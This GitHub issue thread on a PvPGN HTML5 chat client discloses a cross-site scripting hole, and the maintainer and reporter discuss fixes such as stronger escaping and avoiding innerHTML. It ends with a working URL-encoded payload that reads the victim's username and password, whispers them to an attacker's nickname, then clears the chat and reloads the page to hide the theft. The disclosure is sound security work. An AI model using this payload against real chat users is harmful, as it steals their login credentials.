-
Notifications
You must be signed in to change notification settings - Fork 8
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
This chat is not secure #2
Comments
Are you saying other chat users can do an XSS exploit which whispers the credentials to them? Or that the web developer could modify the source to steal credentials? |
Oh i thought you are not active (most of authors are for some reason...) I mean users can do XSS exploit |
I haven't been active on this in 2 years, it was just a fun project but I later took the website offline. So if someone gets into a pvpgn chat channel with someone else who is using this client, they can XSS them by sending that message into chat? I think PvPGN limits the amount of characters in a message which would make it trickier to exploit but not impossible. I love a good hack so I will have to set this up just to see it. Nice find. It makes sense though since the text coming from the user needs to be filtered before included into the html of the chat output on the website. |
Well, it worked and there is nothing to trick, i well tested it |
Any way I can DM you to ask a few questions? |
That example also reloads the page, just to make it lesser noticeable |
Well, i am old for these things, it was "PM" for me all the time |
To fix this, I think all "escapeHtml"s need to be changed to filter XSS in this file: https://github.com/reillychase/pvpgn-html5-chat-client/blob/master/static/js/websockify/wspvpgn.js |
Exactly |
Sorry for spam here, i am not strong GitHub user yet I would also suggest to avoid innerHTML usage and add new elements using node objects |
It does not filter various so-called 'url encoded' characters (read, for example, RFC 3986)
And actually, does not filter anything evil, this is just simple example of exploit:
For example, if this one will be sent to web chat users, they will send their login credentials to YOUR_NICK_NAME_HERE:
%3Cimg src=asfasf onerror=body.hidden=true;pvpgn.sendMsg([`/w`,`YOUR_NICK_NAME_HERE`,$D(`username`).value,$D(`password`).value].join(String.fromCharCode(32)));$D(`chatBox`).innerHTML=``;setTimeout(function(){location.reload()},1000);%3E
I suggest you to stop using this tool (since author is not active also) until next patches by author or someone.
Thanks for attention!
The text was updated successfully, but these errors were encountered: